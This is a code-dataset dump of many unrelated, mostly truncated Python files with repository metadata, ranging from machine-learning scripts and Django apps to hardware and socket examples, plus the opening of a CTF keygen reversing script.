[ "c.heller@plomlompom.de" ]
c.heller@plomlompom.de
b83e8246703e0232b938a556394aff5db7517139
e7b87b4377660adf9872a0fd361b2f66ef2f4cfa
/advent_2019/ChristmaSSE_KeyGen/reverse.py
1d66bf5fad064d0e78c99dbd0d0e4cc245d83362
[]
no_license
passwd0/ctf
a215dbabfb0a97723e7e805c4938b833c454c166
e5a6e4769308ed6283e7e20c6852683bdac5cedd
refs/heads/master
2020-12-01T15:04:08.186238
2019-12-28T22:12:24
2019-12-28T22:12:24
230,649,411
0
0
null
null
null
null
UTF-8
Python
false
false
7,513
py
#!/bin/python from cachetools import cached, LRUCache, TTLCache import time import numpy as np import struct from unicorn import * from unicorn.x86_const import * #def internalCycle(): # return 0 # #m6 = m4 # #pcmpgtd xmm6, xmm3 # #paddd xmm6, xmm5 # #pmulld xmm6, xmm4 # #psubd xmm3, xmm6 # #movdq...
[ "passwd@mes3hacklab.org" ]
passwd@mes3hacklab.org
84a7a06840ab94d52c126cf03c787d21cc39ba7c
66b332e1bc377db177f388a9adf04082113bc7a8
/k-means/Kmeans.py
f4cd72c11bf9e6f3174767ece3abfe780454d0f7
[ "MIT" ]
permissive
JamieMa/ML_APIs
68d56263197c7be377f11996a63eaca4376feacd
364912bff7e33056de7b8d735ce4d8ab3ed53f81
refs/heads/master
2021-08-31T00:22:59.409764
2017-12-20T00:25:55
2017-12-20T00:25:55
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,089
py
# -*- coding: utf-8 -*- """ Created on Wed Oct 11 21:30:38 2017 @author: mjq """ import numpy as np import pandas as pd from sklearn import datasets import matplotlib.pyplot as plt from mpl_toolkits.mplot3d import Axes3D from scipy.spatial import distance from numpy import linalg as LA def kMeans(X,...
[ "noreply@github.com" ]
JamieMa.noreply@github.com
45e084179e4aa3dbbf8c2f260fc7c5bd9989286e
daf802cfd22614f98596691220c08e15e76fa994
/Website/community/rcmOnUser/admin.py
389d4206e36951bdbe8c52aac0f01db0cd5d07cd
[]
no_license
ee08b397/Community-Recommendation
c3b3a534a01622314ea382b4a1d13056537c36a8
557e774eeb6045637599f98c130e465bfe345f29
refs/heads/master
2021-01-17T01:09:28.298491
2015-08-15T03:54:04
2015-08-15T03:54:04
null
0
0
null
null
null
null
UTF-8
Python
false
false
126
py
from django.contrib import admin from rcmOnUser.models import score # Register your models here. admin.site.register(score)
[ "zhuangzeleng19920731@gmail.com" ]
zhuangzeleng19920731@gmail.com
d0be4c85c1a19f7385e5175292eca406cec92339
c8158a7ae28e457e564f1a72b3e82d406aad8c98
/cfgs/test_config.py
8ca243856ed3a8070dfd268445e5715b8804b742
[]
no_license
Wei2624/blender_datasets
aad26c7fdfc36c07f8bca3cbab57e16ae489be7a
8300b7b35ab5082eeaa313892ad099de74305acc
refs/heads/master
2020-04-15T19:21:54.028224
2019-01-10T02:01:59
2019-01-10T02:01:59
164,947,207
1
0
null
null
null
null
UTF-8
Python
false
false
4,021
py
no_need_to_copy = ['Camera','Lamp','Lamp.001','Lamp.002','skp_camera_Last_Saved_SketchUp_View','background'\ ,'Plane','Plane.001','Plane.002','Plane.003','Plane.004'] # static_classes = ['background','table'] # static_classes_color = [(0.0, 0.0, 0.0), (1.0, 0.0, 0.0)] off_table_classes = ['chair'] off_table_class...
[ "weiuw2624@gmail.com" ]
weiuw2624@gmail.com
ddcda8626fa93c0e39ab42cbd537075f0c2726a5
0fe5a7ede2c3e8c4d47a85eebe959e2ab749568b
/kits19.py
2735abe5d5da8a3f71086197a6fd9c09999151e8
[]
no_license
FlyGlider/Kits19
2ad9e1befb44f7e23f56c8b42b1b81d350361620
20efc3327c7a74431bb53fc3d58e453b791df49e
refs/heads/master
2020-06-25T23:03:51.926141
2019-07-29T12:35:42
2019-07-29T12:35:42
199,448,545
2
0
null
null
null
null
UTF-8
Python
false
false
2,893
py
from utils.trainer import * from utils.evaluator import Evaluator # from utils.tester import Tester plt.switch_backend('agg') def get_args(): parser = argparse.ArgumentParser() parser.add_argument('-e', '--epoch', dest='epoch', default=100, type=int, help='number of epochs') ...
[ "noreply@github.com" ]
FlyGlider.noreply@github.com
eaa1694453e2fb1d8f4e20c3a6a0852dc8c2f92c
bec66ec0c920939547466b2b8f9d65813d560d1d
/noxious/__init__.py
f007d1198e0435f72d773eb479f29a48d9534092
[]
no_license
mbr/noxious
cbb3be2ca725a0282db390520306da7ebba75339
6c48fe84867d80614defa6bdce4d4640ce657ae5
refs/heads/master
2023-06-06T20:42:08.079423
2015-08-30T10:54:52
2015-08-30T10:54:52
41,625,389
0
1
null
null
null
null
UTF-8
Python
false
false
1,557
py
import xml.etree.ElementTree as ET def from_file(fn): tree = ET.parse(fn) return Noxious(tree.getroot()) class Noxious(object): def __init__(self, elem, parent=None): self._parent = parent self._elem = elem def _all(self): return [self.__class__(sibling) for ...
[ "git@marcbrinkmann.de" ]
git@marcbrinkmann.de
b0f222bd5a142c4071329ebd4c463e0851986566
d9a1999622bed85264ac65c57e90368d1a6e0e3e
/IoT/Flask/Exercise2.py
07ed4802fe801fde1e0b9bc9755ec8a7692341d5
[]
no_license
dev-saem/IoT
38769f1906429c039e310daa1f8da74549c6e3e2
43ba904dd013c3d49ca8bfaa93cf2d6385d64927
refs/heads/main
2023-08-20T02:08:36.760510
2021-10-21T05:11:40
2021-10-21T05:11:40
419,588,914
0
0
null
null
null
null
UTF-8
Python
false
false
1,244
py
import RPi.GPIO as GPIO from flask import Flask from time import sleep app = Flask(__name__) @app.route('/') def hello(): return "hello world" @app.route('/fan/<onoff>/<time>') def fanonoff(onoff, time): if (onoff == "on") and (time == "1"): print("FAN on for one second") GPIO.o...
[ "noreply@github.com" ]
dev-saem.noreply@github.com
f37668bdf7c079415ac4d8ece79b2a23765d21aa
71449d985dd2d9f9133822952664a19b0dbfaf91
/combine/files/utils.py
f8d1268f777119a44ce6aab38f97b2b86f8fbe75
[ "MIT" ]
permissive
dropseed/combine
f7e6387f2a2a18420398022622afe9c1188fcced
7bf2b513877ddbc9911f0e79f9b82c3a770cece7
refs/heads/master
2023-07-05T22:35:23.107892
2023-07-04T01:51:25
2023-07-04T01:51:25
137,275,296
11
3
MIT
2023-09-04T20:14:40
2018-06-13T21:50:06
Python
UTF-8
Python
false
false
164
py
import os def create_parent_directory(path: str) -> None: path_dir = os.path.dirname(path) if not os.path.exists(path_dir): os.makedirs(path_dir)
[ "dave.gaeddert@gmail.com" ]
dave.gaeddert@gmail.com
a15aa9381f0639460207512eace0c0e66ea54b4b
d554b1aa8b70fddf81da8988b4aaa43788fede88
/5 - Notebooks e Data/1 - Análises numéricas/Arquivos David/Atualizados/logDicas-master/data/2019-1/222/users/4327/codes/1602_2049.py
1ce019700e7801903c6df341e812f94f4b2cb946
[]
no_license
JosephLevinthal/Research-projects
a3bc3ca3b09faad16f5cce5949a2279cf14742ba
60d5fd6eb864a5181f4321e7a992812f3c2139f9
refs/heads/master
2022-07-31T06:43:02.686109
2020-05-23T00:24:26
2020-05-23T00:24:26
266,199,309
1
0
null
null
null
null
UTF-8
Python
false
false
302
py
# Teste seu codigo aos poucos. # Nao teste tudo no final, pois fica mais dificil de identificar erros. # Nao se intimide com as mensagens de erro. Elas ajudam a corrigir seu codigo. x=int(input("informe o dividendo: " )) y=int(input("informe o divisor: " )) print (x) print (y) print (x//y) print (x%y)
[ "jvlo@icomp.ufam.edu.br" ]
jvlo@icomp.ufam.edu.br
0c14069b57089a2f4811e42046ae71152a6bdbd6
f066a92934f4d6c64d20bc3c455ee1100624983b
/run/stdio.py
4c26791e53b62afe6a488d1086c07419ea38a737
[]
no_license
BitOpenFPGA/fpga_test_soc
229a15f0ff7280546a6a250dab624db04b196dd8
fe7c5f7b655371ed3be7f2171301608e24180491
refs/heads/master
2022-04-07T12:49:55.872758
2020-03-21T10:49:15
2020-03-21T10:49:15
304,899,091
1
0
null
null
null
null
UTF-8
Python
false
false
1,166
py
#!/usr/bin/env python import sys import atexit import termios import os orig_term = None ################################################################## # stdio_init ################################################################## def stdio_init(): atexit.register(stdio_close) global orig_term orig_t...
[ "ultraembedded.com@gmail.com" ]
ultraembedded.com@gmail.com
cb49bec2a5718c4576520ccf546458370bb74044
a8f73dcf71eb3be1387a4c5fc766ad2e14a64fd4
/recorder/scripts/socket_server.py
cdeaa0ede4b5933db55dd0fb9eb94743ff33cd30
[]
no_license
ZhengYi0310/eve_workspace
3a192ab797fe21130ba45a9a09431ddc8f5662a5
5c73cebfaf37820ba4d1f1354632370434816921
refs/heads/master
2021-01-19T02:10:18.657989
2017-06-30T19:14:05
2017-06-30T19:14:05
87,264,944
0
0
null
null
null
null
UTF-8
Python
false
false
1,044
py
# first of all import the socket library import socket ip = socket.gethostbyname('bml-ALL-SERIES') print "The client hostname is %s." %(ip) # next create a socket object s_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) print "socket on eve successfully created." # reserve a port on the pc, just set it t...
[ "hczhengcq@gmail.com" ]
hczhengcq@gmail.com
d020f7a59f0738fc32cb65ab2d97b3c8c707060d
5c5beb07756060ce7ccc9c4256d4c5521f4acee9
/SinGAN/editing.py
32221515e948beb759f9377ecae96fee275d20b5
[]
no_license
JaeDukSeo/SinGAN-extension
a2e5fb3ae442a28cebe77592a3668367347e3422
23afc01ebe568f93e01c377b0a94e0dad26ac64a
refs/heads/master
2022-07-03T12:04:56.295212
2020-05-13T15:24:48
2020-05-13T15:24:48
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,301
py
from .config import get_arguments from .SinGAN.manipulate import * from .SinGAN.training import * from .SinGAN.imresize import imresize from .SinGAN.imresize import imresize_to_shape from .SinGAN import functions if __name__ == '__main__': parser = get_arguments() parser.add_argument('--input_dir', help='inpu...
[ "victorruelle1@hotmail.com" ]
victorruelle1@hotmail.com
fc8f57dcba1a88d5f1ae5e3963414387e47a3e5e
2a4fccb212b70bbef7634271b3a0992e8927abd8
/shop/migrations/0003_promo_date_fin.py
89d89e8e1abad1c780b0d1a8de33a0159d058fb4
[]
no_license
snipercode221/cbshop
dd9eca3400ea500122289658592af52a81e99f6c
d139f27a540a458bc011c175e0899f4716d7ebb2
refs/heads/master
2022-11-29T23:43:47.304965
2020-08-02T00:08:00
2020-08-02T00:08:00
284,359,608
0
0
null
null
null
null
UTF-8
Python
false
false
464
py
# -*- coding: utf-8 -*- # Generated by Django 1.11.7 on 2018-04-23 21:10 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('shop', '0002_promo_pub'), ] operations = [ migrations.AddField( ...
[ "snipercode221@gmail.com" ]
snipercode221@gmail.com
4b62cb9c5ec11f7f8d43be007fc17be6e900bf2e
56909e729bc02088a79ac1d46111de7a52e4c9a6
/venv/dbms.py
d747ad4c5c69e6f417d24ff9428ebde68d2bb826
[]
no_license
prasanthtummala/ArtGallery-DataBase
a1a623ace9554139a6a43f8102d9b5dd96b2d609
293ac756c64208a2382df82d861de072797b3fa0
refs/heads/master
2020-06-12T12:55:07.283929
2019-06-28T16:46:54
2019-06-28T16:46:54
194,305,653
0
0
null
null
null
null
UTF-8
Python
false
false
622
py
import pymysql # Open database connection db = pymysql.connect("localhost","root","123456","artgallery" ) # prepare a cursor object using cursor() method cursor = db.cursor() # Prepare SQL query to INSERT a record into the database. sql = "SELECT * FROM " try: # Execute the SQL command cursor.execute(sql) ...
[ "prasanthtummala.17@gmail.com" ]
prasanthtummala.17@gmail.com
516a6530d09f3f2717a8b0cf0e85c849bb9f4ad0
f63907d2115becd64704ef1881f3bfcb7ba9047d
/sandbox/test/testTemplate.py
91ba4b483092ee7a004dca1be860007bfd13cdaa
[]
no_license
AseiSugiyama/NZMATH-Python3
d456610f72071a654531583228e439ffa8a4db0c
f65b176be2e58fafa0eea91f399c9ab17f3f478b
refs/heads/master
2020-05-21T07:26:51.434191
2019-04-27T09:52:18
2019-04-27T09:52:18
185,959,644
2
0
null
null
null
null
UTF-8
Python
false
false
989
py
import unittest import sandbox.hoge as hoge class HogeTest (unittest.TestCase): """ Test classes must inherite unittest.TestCase. They have name suffixed with 'Test'. """ def setUp(self): """ setUp is run before each test method run. """ pass def tearDown(self): """ ...
[ "devnull@localhost" ]
devnull@localhost
35da38996a54cfbccf733b5859960068514b4714
163bbb4e0920dedd5941e3edfb2d8706ba75627d
/Code/CodeRecords/2332/60592/271480.py
f602a8c01f31dbba291aa53971306002fff48fef
[]
no_license
AdamZhouSE/pythonHomework
a25c120b03a158d60aaa9fdc5fb203b1bb377a19
ffc5606817a666aa6241cfab27364326f5c066ff
refs/heads/master
2022-11-24T08:05:22.122011
2020-07-28T16:21:24
2020-07-28T16:21:24
259,576,640
2
1
null
null
null
null
UTF-8
Python
false
false
630
py
base = int(input()) tar = int(input()) res = 0 fun = [] te = 0 tem = tar while tem != 0: i = 0 if tem == 1: te += 1 break mark = 0 while mark <= tem: mark = pow(base,i) i+=1 te+=i-3 mark/=base tem-=mark if tem!= 0: te+=1 fun.append(te) te = 0 tem =...
[ "1069583789@qq.com" ]
1069583789@qq.com
bc77d77f9880d9fc4b4e175cf37ac58d606f29d5
1879ada1df11f83dc0bedc69d06aea619adaf166
/collections/lists_01.py
c9f2ea884b9417ccaf46ae10ffecbe7c5832b192
[]
no_license
larajorge11/python-davor-training
0ef4fdb6a07d570b2a233960842ce6bbec84af2d
5c14109a53896ead9eb5acac9e6fac1c83f5c406
refs/heads/main
2023-08-26T19:53:10.168900
2021-11-04T22:15:31
2021-11-05T16:04:45
339,914,851
0
0
null
null
null
null
UTF-8
Python
false
false
904
py
# Las listas son mutables nombres = ['Juan', 'Carla', 'Stefani', 'Jacobo', 'Bianca'] # Imprimir la lista de nombres print(nombres) # Accediendo a los elementos print(nombres[0]) print(nombres[-1]) # Ultimo elemento de la lista # Imprimir un rango print(nombres[0:2]) print(nombres[:3]) print(nombres[2:]) nombres[1] = ...
[ "larajorge11@gmail.com" ]
larajorge11@gmail.com
f319f75c6eda9733cf3e2eea7ec0aba1aac4bbf7
43188f92d61c427b34b3806adee717a7f445e60d
/mdb/files/views.py
647b51ca298e3762ef9906d583995b8dc042e59d
[ "MIT" ]
permissive
idbac/maldidb
c71205dddae7f337669b9c8b0abb245adc95dfb8
b926397c1d5f166d80f1eea5b3ba99dcef9b44dc
refs/heads/master
2023-08-01T03:31:24.358835
2021-09-11T16:37:07
2021-09-11T16:37:07
332,827,885
0
0
null
null
null
null
UTF-8
Python
false
false
1,160
py
from django.shortcuts import render from .models import UserFile from django_tables2 import SingleTableView from .tables import * # ~ from .forms import * from django.views.generic.list import ListView from spectra_search.forms import FileLibraryForm from chat.models import Library class UserFilesListView(SingleTableV...
[ "davidshumway@gmail.com" ]
davidshumway@gmail.com
b8ca63d31d28bcd4eed0f383b52286e292bb95cb
50f8a39a43c2f20953e77690d102eabefcb8c348
/venv/bin/gunicorn
ce4411beceb66e192ef16f8bdeb55039cf5ba357
[ "MIT" ]
permissive
asandelarvine/News_App
0f5d5917643ded67f770ff60772197064f2e734b
393d8314586053024a0924b91d2e1912d12df2f4
refs/heads/main
2023-09-03T20:22:47.514495
2021-11-03T00:55:52
2021-11-03T02:00:05
422,500,708
0
0
null
null
null
null
UTF-8
Python
false
false
246
#!/home/moringa/random/News_App/venv/bin/python # -*- coding: utf-8 -*- import re import sys from gunicorn.app.wsgiapp import run if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw|\.exe)?$', '', sys.argv[0]) sys.exit(run())
[ "larvine.asande@student.moringaschool.com" ]
larvine.asande@student.moringaschool.com
edd7334352747e1e9b08be0af986b1239e3ee6fe
5a25edcf994a760688dc7c933e8071bf4ff24df3
/exercises/ja/solution_01_08_01.py
01762ddd77ee431a33af88413c4449ddfc5b02bc
[ "CC-BY-NC-4.0", "MIT" ]
permissive
heyMP/spacy-course
8762990ed6179011680730d9c24d5d34c0a8d954
3740c717f0d1090b01c1b0fe23f8e30af3bf0101
refs/heads/master
2022-11-07T21:52:15.479840
2020-06-25T18:13:44
2020-06-25T18:13:44
275,202,487
1
0
MIT
2020-06-26T16:39:32
2020-06-26T16:39:31
null
UTF-8
Python
false
false
476
py
import spacy nlp = spacy.load("en_core_web_sm") text = "It’s official: Apple is the first U.S. public company to reach a $1 trillion market value" # テキストを処理 doc = nlp(text) for token in doc: # トークンの文字列、品詞タグ、依存関係ラベルを取得 token_text = token.text token_pos = token.pos_ token_dep = token.dep_ # フォーマット...
[ "tamuhey@gmail.com" ]
tamuhey@gmail.com
2f7b555b8a023acfc59b3616b78949d6bc53ab5f
3349a0d44da04fd9fae7728ce1315ccf0c82285e
/556A - case of zeroes and ones.py
c96ebf9ebc0e1aad3e01b362c37be5bd17da4cdb
[]
no_license
umairnsr87/Data_Structures_Python
959848e546fd4f98959bc14470c26ce91bfb5c9c
05b5803521ed2ec7f64d95f08e2f014471dfdfd4
refs/heads/master
2023-07-18T12:11:55.245699
2023-07-16T17:01:09
2023-07-16T17:01:09
294,360,086
0
0
null
2023-07-16T17:01:10
2020-09-10T09:11:11
Python
UTF-8
Python
false
false
567
py
from collections import Counter test = int(input()) strings = input() # time complexity:O(n) # while '01' or '10' in strings: # if '01' in strings: # strings = strings.replace('01', '') # elif '10' in strings: # strings = strings.replace('10', '') # else: # break # # print(len(str...
[ "umairnsr87@gmail.com" ]
umairnsr87@gmail.com
40b5a35183c69290d55869b4fcaa55d82c2b2f6b
a4956b95dea8412758af71fde5b06bee3575a06f
/Python/venv/Scripts/pip3-script.py
dee4588a446332bfe46f715e02399790b54880e8
[ "AFL-3.0" ]
permissive
gzy23/myexercise
7188b9ba65562be118775502c4a63c4b5b6d8e67
471e45919c44efcb1a879dcade2ff5a87310e372
refs/heads/master
2022-11-18T22:42:36.622220
2020-07-08T10:05:33
2020-07-08T10:05:33
276,901,623
0
0
null
null
null
null
UTF-8
Python
false
false
392
py
#!F:\gitwork\Python\venv\Scripts\python.exe # EASY-INSTALL-ENTRY-SCRIPT: 'pip==19.0.3','console_scripts','pip3' __requires__ = 'pip==19.0.3' import re import sys from pkg_resources import load_entry_point if __name__ == '__main__': sys.argv[0] = re.sub(r'(-script\.pyw?|\.exe)?$', '', sys.argv[0]) sys.exit( ...
[ "gzy_email@2430866021.com" ]
gzy_email@2430866021.com
40654b027f3ff750ac5224e44425c099db471f46
8ed759d055c99133eb58d229f291295e77f98286
/tcpServer.py
43a185103fe5cf01da6efda01f6f455eaa40aa4f
[]
no_license
anjali-92/Python
67b6fca149604cc6ac81b553c8775f9c9c62f0ab
353355c0f95dae0ea956c77111314435e4f30d59
refs/heads/master
2020-12-28T21:06:38.782775
2020-11-19T11:39:59
2020-11-19T11:39:59
33,402,958
0
0
null
2016-09-23T05:31:33
2015-04-04T11:11:00
Python
UTF-8
Python
false
false
434
py
# Echo server program import socket HOST = '' # Symbolic name meaning all available interfaces PORT = 50011 # Arbitrary non-privileged port s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.bind((HOST, PORT)) s.listen(5) for i in range(0,2): conn ,addr = s.accept() print 'Connec...
[ "anjalipardeshi92@gmail.com" ]
anjalipardeshi92@gmail.com
afcad36fd990355b106a0e1875b71d72f6cde7f2
09911dfbc5b9e994599f15cac7d330582a8e7761
/guess.py
6870e1ff8bc64281f9fc02dc742c07278dd510fd
[]
no_license
Xemicolon/NumberGuessingGame
2b05163495598f250f91aaf3ab12da443761ea6b
fada9df2420a6171f9e8075b4b8dd76596cf1991
refs/heads/master
2022-04-24T20:24:12.517192
2020-04-21T21:29:58
2020-04-21T21:29:58
257,325,504
0
0
null
null
null
null
UTF-8
Python
false
false
808
py
from random import randint def guessTheNumber(difficulty, range, chances): computer = randint(1, range) level = str(difficulty) chances = chances print(f'Difficulty level: {level}\nChances: {chances}') while True: try: user_input = int(input(f'Guess the number between 1 - {rang...
[ "1vibenation@gmail.com" ]
1vibenation@gmail.com
eaed1474671f49ae000323f1a00774c7a2c81b26
6d54a7a75768fe25dcdc56958f6ab215ac8a92d9
/to_do_app/settings.py
8bf0d1509732b00159e8c1429647634ce9838e4a
[]
no_license
yigitkarabiyik/To-Do-App
f3362729230b0af0299a4969df3cff9ebe344457
b18e68b9b5ae4b547fab7a0a196a4879aa0055bd
refs/heads/main
2023-03-11T02:30:23.656828
2021-03-02T09:08:48
2021-03-02T09:08:48
null
0
0
null
null
null
null
UTF-8
Python
false
false
3,427
py
""" Django settings for to_do_app project. Generated by 'django-admin startproject' using Django 3.1.3. For more information on this file, see https://docs.djangoproject.com/en/3.1/topics/settings/ For the full list of settings and their values, see https://docs.djangoproject.com/en/3.1/ref/settings/ """ from pathl...
[ "yigitkarabiyik8@gmail.com" ]
yigitkarabiyik8@gmail.com
3e74f996fc5b64ab1e959cc5a5966dd6c8d6023d
8cbb7291096499bd2cefc0bfe9acfdfa0baa1fcc
/script_main.py
b25feb3f1ae4ad8a1bda1a8f345e4b594389d45c
[]
no_license
a1015970/SSE_Exercise2
944cbae3c9458ae038fba5e97f27b4fd96873d1c
377b3cd496f0ed6bdd446913c980d626a416ac8f
refs/heads/master
2020-07-18T18:13:41.365392
2019-09-29T08:04:04
2019-09-29T08:04:04
206,290,408
0
0
null
null
null
null
UTF-8
Python
false
false
1,487
py
# -*- coding: utf-8 -*- """ Created on Fri Sep 6 22:45:02 2019 @author: Chris Crouch - a1015970 """ import analyze_git_commit from git import Repo, RemoteProgress import os class Progress(RemoteProgress): def update(self, op_code, cur_count, max_count=None, message=''): print(self._cur_line) #%% local_l...
[ "a1015970@student.adelaide.edu.au" ]
a1015970@student.adelaide.edu.au
f3f53ccefea07832363a3f36b3f24a3daba97a46
5898a72d228beb1779ec68247ab89c3391c84ebd
/cgi-bin/getWaitingGame.py
49b4dbfd7587db29b40a73b4bf55fa6d897686d9
[]
no_license
sirramsalott/boggle
1a2f1035fc219b3df6edcafaadead0375e62037a
242eca21ea982ed7fafec499ff9b18d7e1cd70d6
refs/heads/master
2022-12-14T06:01:38.561493
2020-09-04T08:36:10
2020-09-04T08:36:10
249,944,772
0
0
null
2022-12-12T16:02:38
2020-03-25T10:08:22
Python
UTF-8
Python
false
false
509
py
#!/usr/bin/python import cgi, sys, json, cgitb from boggleUser import Pupil def response(pupilID): g = Pupil.getWaitingGame(pupilID) out = {"found": bool(g)} if g: Pupil(pupilID=pupilID).isWaiting(False) out.update(g) outJ = json.dumps(out) return """Status: 200 OK Content-Type: ap...
[ "jfr573@cs.bham.ac.uk" ]
jfr573@cs.bham.ac.uk
01a663efab3a49d161c2793fb093704b775a3579
32d9ca9bda3d132179e952e3bd94f99f5de2d0cb
/train.py
420b4f7a24b35b604145e6f28bac12ecdc80322f
[]
no_license
mcao516/PyTorch-ESIM
280efbae434d680ff0cce4b31ac00f772a9626de
5f01cebae70a8401cec61c89939d32da7c7a01df
refs/heads/master
2022-02-19T12:28:16.041379
2019-10-04T15:30:44
2019-10-04T15:30:44
null
0
0
null
null
null
null
UTF-8
Python
false
false
10,146
py
#!/usr/bin/env python # -*- coding: utf-8 -*- import os import torch import torch.nn as nn import torch.optim as optim from torch.utils.tensorboard import SummaryWriter from torch.optim.lr_scheduler import MultiStepLR from sklearn.metrics import classification_report from ESIM import ESIM from utils import Progbar, ...
[ "c_meng@outlook.com" ]
c_meng@outlook.com
5b5c8f567d442b7d3f5b766199727996bd5699bd
e994e9c74a7f4b95ed28ce53e86d5715769f8137
/admin/feeds/urls.py
3de1c6809fcd64f66f348291763e01d4c58179d6
[]
no_license
wechulimaven/lutterD-jangoA-PI
0773c07a78d3a78c46d374499b82251beaffa6e7
c932d1fd0969cdb7d1f0057c6a4f284768e0bef3
refs/heads/main
2023-03-22T09:16:29.873629
2021-03-20T23:19:40
2021-03-20T23:19:40
349,767,897
0
0
null
null
null
null
UTF-8
Python
false
false
275
py
from django.urls import path from .views import UserRecordView, feedEditAddPostList, feedPostsList urlpatterns = [ path('', feedPostsList.as_view()), path('<int:pk>/', feedEditAddPostList.as_view()), path('user/', UserRecordView.as_view(), name='users'), ]
[ "mavenwechuli@gmail.com" ]
mavenwechuli@gmail.com
e607164ee72ed5d0071b455388700dbe366a225e
9743d5fd24822f79c156ad112229e25adb9ed6f6
/xai/brain/wordbase/otherforms/_windlasses.py
6ee113296ad40900fcef0fed2db7fb643eaa9caf
[ "MIT" ]
permissive
cash2one/xai
de7adad1758f50dd6786bf0111e71a903f039b64
e76f12c9f4dcf3ac1c7c08b0cc8844c0b0a104b6
refs/heads/master
2021-01-19T12:33:54.964379
2017-01-28T02:00:50
2017-01-28T02:00:50
null
0
0
null
null
null
null
UTF-8
Python
false
false
232
py
#calss header class _WINDLASSES(): def __init__(self,): self.name = "WINDLASSES" self.definitions = windlass self.parents = [] self.childen = [] self.properties = [] self.jsondata = {} self.basic = ['windlass']
[ "xingwang1991@gmail.com" ]
xingwang1991@gmail.com
0e3874a0fdfbd8a253c22505d38822612cf2a233
78c25dc9d381286209565e94ab24fe10a0924137
/bigneuron_app/fleet/tasks.py
58f2a8b4209f809a15c437c0550b8ecd4916a62a
[]
no_license
Freshwood/vaa3d-api
c8c5d044c355685395d7b433e90d7759cad88b08
aeb3f22b2ab384f98d8ed0657645008430e78135
refs/heads/master
2020-05-27T23:59:34.053831
2016-02-06T18:58:01
2016-02-06T18:59:10
null
0
0
null
null
null
null
UTF-8
Python
false
false
479
py
import time import traceback from bigneuron_app import tasks_log from bigneuron_app.fleet import fleet_manager FLEET_UPDATE_SLEEP=60 FLEET_UPDATE_MAX_RUNS=20 def update_fleet(): count = 0 while count < FLEET_UPDATE_MAX_RUNS: try: tasks_log.info("Update Jobs and JobItems Fleets. Attempt " + str(count)) fleet...
[ "fortuner@amazon.com" ]
fortuner@amazon.com
8c8e0126b4969636ebe2d414567e598beb70bf2c
e9a9955da9bee9be6580f1b1a75f97a1f99d0289
/login/migrations/0016_auto_20190803_1452.py
eb4f2ea18f1fff82b8ba290db60a29457a52f715
[]
no_license
Manjunatha1997/project_IT
bdb36142256b9d4eb1b75a76994d801dd3c33013
fe58a30d033d4f4ed818c0282a802fafcf3aaff5
refs/heads/master
2021-02-28T04:17:13.872903
2020-03-07T15:48:49
2020-03-07T15:48:49
245,661,299
0
0
null
null
null
null
UTF-8
Python
false
false
637
py
# Generated by Django 2.1.7 on 2019-08-03 14:52 import datetime from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('login', '0015_auto_20190803_0435'), ] operations = [ migrations.AlterField( model_name='profile', na...
[ "lovelymanju198@gmail.com" ]
lovelymanju198@gmail.com
9a78b5d66a23140e8ef2d9c21dd84cfc729271a3
701d7413adc68a4f05fbb96e7981646e7bb3bee8
/fh/opl/Solutions-session5/Solutions-new/ex4_perfectsupto.py
1359ad1d660fc5f4bd7d0338157b238316a8e3a7
[]
no_license
emildekeyser/tutoring
ee9311a0b65879284d33cdf154de3dac6b735f03
512593cd96247ae84c619a64279d0051c3ac16f9
refs/heads/master
2020-11-27T01:39:48.486085
2019-12-20T12:25:35
2019-12-20T12:25:35
197,552,157
0
0
null
null
null
null
UTF-8
Python
false
false
590
py
# Calculate the sum of all divisors of n def sum_of_proper_divisors(n): s = 1 for i in range(2, n): # Check if i divides n and if it does, add it to the sum s if n % i == 0: s += i return s def is_perfect(n): return n == sum_of_proper_divisors(n) def perfects_up_to(n): ...
[ "emil.dekeyser@student.ucll.be" ]
emil.dekeyser@student.ucll.be
5ea85b5d4ab127194e35ce410732ed286cdba869
0c7f3810d822595b55f70f2c9d87f5f2c98054e6
/fondos/download.py
01b3cc38e731884bfa1e9013bb78fd5c1822ae4e
[ "MIT" ]
permissive
elsonidoq/fondos
c1b406ed85c1499546352bb704ad4c12dea78f6c
7d673865b929da6aba0757962e7d287c82edb1b6
refs/heads/master
2021-04-29T02:06:47.748040
2017-05-20T18:32:23
2017-05-20T18:32:23
78,062,720
3
0
null
null
null
null
UTF-8
Python
false
false
373
py
import os from datetime import datetime from invertironline import InvertirOnlineDownloader here = os.path.abspath(os.path.dirname(__file__)) def main(): bonds = [ 'aa17', 'ay24' ] print "Downloading {}".format(datetime.now()) for bond in bonds: InvertirOnlineDownloader(bon...
[ "elsonidoq@gmail.com" ]
elsonidoq@gmail.com
501c95b652f857f01708a965721f3e01f47337a9
f07b7f546278c86ec91fe9fdacbe4acc266b5ef0
/blog/blog/wvenv/Lib/site-packages/pyls/_version.py
1da11f8698d1b8e9027b628af4386644dc9ed2ca
[]
no_license
CankayaUniversity/ceng-407-408-2019-2020-Patent-Comparison-System
0386a6d8651a9ce875a9cf56013c19d8242204c9
d9c0f2d84d90932b962a0618b01652f3bd560f25
refs/heads/master
2020-08-18T09:55:23.676188
2020-06-27T21:19:20
2020-06-27T21:19:20
215,772,427
2
4
null
2020-06-27T21:26:31
2019-10-17T11:08:50
null
UTF-8
Python
false
false
498
py
# This file was generated by 'versioneer.py' (0.18) from # revision-control system data, or from the parent directory name of an # unpacked source archive. Distribution tarballs contain a pre-generated copy # of this file. import json version_json = ''' { "date": "2020-01-21T17:27:49+0000", "dirty": false, "error...
[ "33146580+celkansimay@users.noreply.github.com" ]
33146580+celkansimay@users.noreply.github.com
44f7d5e6d9055b7acb7c3147d5e6aa735fc3ce3e
a09e70355b756bd5cba55246e17eb0480af6257b
/examples/ble_demo_central.py
eb56a9cb9b54270e50eb0709aed3104e43dfecc4
[ "MIT" ]
permissive
devoh747/Adafruit_CircuitPython_BLE
9735381dc3481661af54ac32d89ec40e006edc5b
7566483e2dbdb1bf6c71d5629a2ed37b113c7cff
refs/heads/master
2020-08-09T04:14:59.774817
2019-10-10T21:11:07
2019-10-10T21:11:07
213,995,226
0
0
MIT
2019-10-09T18:33:32
2019-10-09T18:33:32
null
UTF-8
Python
false
false
1,319
py
